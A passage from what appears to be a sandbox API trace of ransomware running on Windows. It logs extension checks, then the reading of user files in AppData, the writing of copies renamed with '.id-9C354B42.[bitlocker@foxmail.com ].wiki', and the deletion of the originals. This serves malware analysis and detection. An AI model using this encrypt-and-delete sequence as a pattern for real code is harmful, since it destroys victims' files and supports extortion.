HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 88 [0179.769] lstrlenW (lpString=".1cd") returned 4 [0179.769] lstrcmpiW (lpString1=".1cd", lpString2="ta_3") returned -1 [0179.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 88 [0179.769] lstrlenW (lpString=".jpg") returned 4 [0179.769] lstrcmpiW (lpString1=".jpg", lpString2="ta_3") returned -1 [0179.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 88 [0179.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 88 [0179.770] lstrlenW (lpString=".doc") returned 4 [0179.770] lstrcmpiW (lpString1=".doc", lpString2="ta_3") returned -1 [0179.770] lstrlenW (lpString=".docx") returned 5 [0179.770] lstrcmpiW (lpString1=".docx", lpString2="ata_3") returned -1 [0179.770] lstrlenW (lpString=".pdf") returned 4 [0179.770] lstrcmpiW (lpString1=".pdf", lpString2="ta_3") returned -1 [0179.770] lstrlenW (lpString=".xls") returned 4 [0179.770] lstrcmpiW (lpString1=".xls", lpString2="ta_3") returned -1 [0179.770] lstrlenW (lpString=".xlsx") returned 5 [0179.770] lstrcmpiW (lpString1=".xlsx", lpString2="ata_3") returned -1 [0179.770] lstrlenW (lpString=".ppt") returned 4 [0179.770] lstrcmpiW (lpString1=".ppt", lpString2="ta_3") returned -1 [0179.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 88 [0179.770] lstrlenW (lpString=".zip") returned 4 [0179.770] lstrcmpiW (lpString1=".zip", lpString2="ta_3") returned -1 [0179.770] lstrlenW (lpString=".rar") returned 4 [0179.770] lstrcmpiW (lpString1=".rar", lpString2="ta_3") returned -1 [0179.770] lstrlenW (lpString=".bz2") returned 4 [0179.770] lstrcmpiW (lpString1=".bz2", lpString2="ta_3") returned -1 [0179.770] lstrlenW (lpString=".7z") returned 3 [0179.770] lstrcmpiW (lpString1=".7z", lpString2="a_3") returned -1 [0179.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 88 [0179.770] lstrlenW (lpString=".dbf") returned 4 [0179.770] lstrcmpiW (lpString1=".dbf", lpString2="ta_3") returned -1 [0179.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 88 [0179.770] lstrlenW (lpString=".1cd") returned 4 [0179.770] lstrcmpiW (lpString1=".1cd", lpString2="ta_3") returned -1 [0179.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 88 [0179.770] lstrlenW (lpString=".jpg") returned 4 [0179.770] lstrcmpiW (lpString1=".jpg", lpString2="ta_3") returned -1 [0179.771] lstrcmpiW (lpString1=".feed-ms", lpString2=".wiki") returned -1 [0179.771] lstrlenW (lpString="Suggested Sites~.feed-ms") returned 24 [0179.771] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.152] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=32768) returned 1 [0180.152] CloseHandle (hObject=0x320) returned 1 [0180.152] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms")) returned 0x2020 [0180.152] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.152] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.152] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.152] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.152] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0180.363] GetLastError () returned 0x0 [0180.363] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x8000, lpOverlapped=0x0) returned 1 [0180.366] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x8010, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x8010, lpOverlapped=0x0) returned 1 [0180.368] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.368] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x104, lpOverlapped=0x0) returned 1 [0180.368] SetEndOfFile (hFile=0x1b4) returned 1 [0180.368] CloseHandle (hObject=0x1b4) returned 1 [0180.368] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.368] SetEndOfFile (hFile=0x320) returned 1 [0180.369] CloseHandle (hObject=0x320) returned 1 [0180.369] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.369] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms")) returned 1 [0180.369] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 135 [0180.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 135 [0180.370] lstrlenW (lpString=".doc") returned 4 [0180.370] lstrcmpiW (lpString1=".doc", lpString2="d-ms") returned -1 [0180.370] lstrlenW (lpString=".docx") returned 5 [0180.370] lstrcmpiW (lpString1=".docx", lpString2="ed-ms") returned -1 [0180.370] lstrlenW (lpString=".pdf") returned 4 [0180.370] lstrcmpiW (lpString1=".pdf", lpString2="d-ms") returned -1 [0180.370] lstrlenW (lpString=".xls") returned 4 [0180.370] lstrcmpiW (lpString1=".xls", lpString2="d-ms") returned -1 [0180.370] lstrlenW (lpString=".xlsx") returned 5 [0180.370] lstrcmpiW (lpString1=".xlsx", lpString2="ed-ms") returned -1 [0180.370] lstrlenW (lpString=".ppt") returned 4 [0180.370] lstrcmpiW (lpString1=".ppt", lpString2="d-ms") returned -1 [0180.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 135 [0180.370] lstrlenW (lpString=".zip") returned 4 [0180.370] lstrcmpiW (lpString1=".zip", lpString2="d-ms") returned -1 [0180.370] lstrlenW (lpString=".rar") returned 4 [0180.370] lstrcmpiW (lpString1=".rar", lpString2="d-ms") returned -1 [0180.370] lstrlenW (lpString=".bz2") returned 4 [0180.370] lstrcmpiW (lpString1=".bz2", lpString2="d-ms") returned -1 [0180.370] lstrlenW (lpString=".7z") returned 3 [0180.370] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 135 [0180.370] lstrlenW (lpString=".dbf") returned 4 [0180.370] lstrcmpiW (lpString1=".dbf", lpString2="d-ms") returned -1 [0180.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 135 [0180.370] lstrlenW (lpString=".1cd") returned 4 [0180.370] lstrcmpiW (lpString1=".1cd", lpString2="d-ms") returned -1 [0180.370] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 135 [0180.370] lstrlenW (lpString=".jpg") returned 4 [0180.370] lstrcmpiW (lpString1=".jpg", lpString2="d-ms") returned -1 [0180.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 135 [0180.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 135 [0180.371] lstrlenW (lpString=".doc") returned 4 [0180.371] lstrcmpiW (lpString1=".doc", lpString2="d-ms") returned -1 [0180.371] lstrlenW (lpString=".docx") returned 5 [0180.371] lstrcmpiW (lpString1=".docx", lpString2="ed-ms") returned -1 [0180.371] lstrlenW (lpString=".pdf") returned 4 [0180.371] lstrcmpiW (lpString1=".pdf", lpString2="d-ms") returned -1 [0180.371] lstrlenW (lpString=".xls") returned 4 [0180.371] lstrcmpiW (lpString1=".xls", lpString2="d-ms") returned -1 [0180.371] lstrlenW (lpString=".xlsx") returned 5 [0180.371] lstrcmpiW (lpString1=".xlsx", lpString2="ed-ms") returned -1 [0180.371] lstrlenW (lpString=".ppt") returned 4 [0180.371] lstrcmpiW (lpString1=".ppt", lpString2="d-ms") returned -1 [0180.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 135 [0180.371] lstrlenW (lpString=".zip") returned 4 [0180.371] lstrcmpiW (lpString1=".zip", lpString2="d-ms") returned -1 [0180.371] lstrlenW (lpString=".rar") returned 4 [0180.371] lstrcmpiW (lpString1=".rar", lpString2="d-ms") returned -1 [0180.371] lstrlenW (lpString=".bz2") returned 4 [0180.371] lstrcmpiW (lpString1=".bz2", lpString2="d-ms") returned -1 [0180.371] lstrlenW (lpString=".7z") returned 3 [0180.371] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 135 [0180.371] lstrlenW (lpString=".dbf") returned 4 [0180.371] lstrcmpiW (lpString1=".dbf", lpString2="d-ms") returned -1 [0180.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 135 [0180.371] lstrlenW (lpString=".1cd") returned 4 [0180.371] lstrcmpiW (lpString1=".1cd", lpString2="d-ms") returned -1 [0180.371] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms") returned 135 [0180.371] lstrlenW (lpString=".jpg") returned 4 [0180.372] lstrcmpiW (lpString1=".jpg", lpString2="d-ms") returned -1 [0180.372] lstrcmpiW (lpString1=".wmdb", lpString2=".wiki") returned 1 [0180.372] lstrlenW (lpString="LocalMLS_3.wmdb") returned 15 [0180.372] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.373] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=69740) returned 1 [0180.373] CloseHandle (hObject=0x320) returned 1 [0180.373] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb")) returned 0x2020 [0180.373] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.373] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.373] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0180.374] GetLastError () returned 0x0 [0180.374] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x1106c, lpOverlapped=0x0) returned 1 [0180.376] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0x11070, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0x11070, lpOverlapped=0x0) returned 1 [0180.378] ReadFile (in: hFile=0x320, lpBuffer=0x4040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.379] WriteFile (in: hFile=0x1b4, lpBuffer=0x4040020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4040020*, lpNumberOfBytesWritten=0x351fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0180.379] SetEndOfFile (hFile=0x1b4) returned 1 [0180.379] CloseHandle (hObject=0x1b4) returned 1 [0180.379] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.379] SetEndOfFile (hFile=0x320) returned 1 [0180.380] CloseHandle (hObject=0x320) returned 1 [0180.380] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.380] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb")) returned 1 [0180.381] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82 [0180.381] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82 [0180.381] lstrlenW (lpString=".doc") returned 4 [0180.381] lstrcmpiW (lpString1=".doc", lpString2="wmdb") returned -1 [0180.381] lstrlenW (lpString=".docx") returned 5 [0180.381] lstrcmpiW (lpString1=".docx", lpString2=".wmdb") returned -1 [0180.381] lstrlenW (lpString=".pdf") returned 4 [0180.381] lstrcmpiW (lpString1=".pdf", lpString2="wmdb") returned -1 [0180.381] lstrlenW (lpString=".xls") returned 4 [0180.381] lstrcmpiW (lpString1=".xls", lpString2="wmdb") returned -1 [0180.381] lstrlenW (lpString=".xlsx") returned 5 [0180.381] lstrcmpiW (lpString1=".xlsx", lpString2=".wmdb") returned 1 [0180.381] lstrlenW (lpString=".ppt") returned 4 [0180.381] lstrcmpiW (lpString1=".ppt", lpString2="wmdb") returned -1 [0180.381] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82 [0180.381] lstrlenW (lpString=".zip") returned 4 [0180.381] lstrcmpiW (lpString1=".zip", lpString2="wmdb") returned -1 [0180.381] lstrlenW (lpString=".rar") returned 4 [0180.381] lstrcmpiW (lpString1=".rar", lpString2="wmdb") returned -1 [0180.381] lstrlenW (lpString=".bz2") returned 4 [0180.381] lstrcmpiW (lpString1=".bz2", lpString2="wmdb") returned -1 [0180.381] lstrlenW (lpString=".7z") returned 3 [0180.381] lstrcmpiW (lpString1=".7z", lpString2="mdb") returned -1 [0180.381] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82 [0180.381] lstrlenW (lpString=".dbf") returned 4 [0180.381] lstrcmpiW (lpString1=".dbf", lpString2="wmdb") returned -1 [0180.382] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82 [0180.382] lstrlenW (lpString=".1cd") returned 4 [0180.382] lstrcmpiW (lpString1=".1cd", lpString2="wmdb") returned -1 [0180.382] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82 [0180.382] lstrlenW (lpString=".jpg") returned 4 [0180.382] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1 [0180.382] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82 [0180.382] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82 [0180.382] lstrlenW (lpString=".doc") returned 4 [0180.382] lstrcmpiW (lpString1=".doc", lpString2="wmdb") returned -1 [0180.382] lstrlenW (lpString=".docx") returned 5 [0180.382] lstrcmpiW (lpString1=".docx", lpString2=".wmdb") returned -1 [0180.382] lstrlenW (lpString=".pdf") returned 4 [0180.382] lstrcmpiW (lpString1=".pdf", lpString2="wmdb") returned -1 [0180.382] lstrlenW (lpString=".xls") returned 4 [0180.382] lstrcmpiW (lpString1=".xls", lpString2="wmdb") returned -1 [0180.382] lstrlenW (lpString=".xlsx") returned 5 [0180.382] lstrcmpiW (lpString1=".xlsx", lpString2=".wmdb") returned 1 [0180.382] lstrlenW (lpString=".ppt") returned 4 [0180.382] lstrcmpiW (lpString1=".ppt", lpString2="wmdb") returned -1 [0180.382] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82 [0180.382] lstrlenW (lpString=".zip") returned 4 [0180.382] lstrcmpiW (lpString1=".zip", lpString2="wmdb") returned -1 [0180.382] lstrlenW (lpString=".rar") returned 4 [0180.382] lstrcmpiW (lpString1=".rar", lpString2="wmdb") returned -1 [0180.382] lstrlenW (lpString=".bz2") returned 4 [0180.382] lstrcmpiW (lpString1=".bz2", lpString2="wmdb") returned -1 [0180.383] lstrlenW (lpString=".7z") returned 3 [0180.383] lstrcmpiW (lpString1=".7z", lpString2="mdb") returned -1 [0180.383] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82 [0180.383] lstrlenW (lpString=".dbf") returned 4 [0180.383] lstrcmpiW (lpString1=".dbf", lpString2="wmdb") returned -1 [0180.383] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82 [0180.383] lstrlenW (lpString=".1cd") returned 4 [0180.383] lstrcmpiW (lpString1=".1cd", lpString2="wmdb") returned -1 [0180.383] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82 [0180.383] lstrlenW (lpString=".jpg") returned 4 [0180.383] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1 [0180.383] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.383] lstrlenW (lpString="01_Music_auto_rated_at_5_stars.wpl") returned 34 [0180.383] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.384] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1044) returned 1 [0180.384] CloseHandle (hObject=0x320) returned 1 [0180.384] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl")) returned 0x2020 [0180.385] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0180.385] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.385] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync 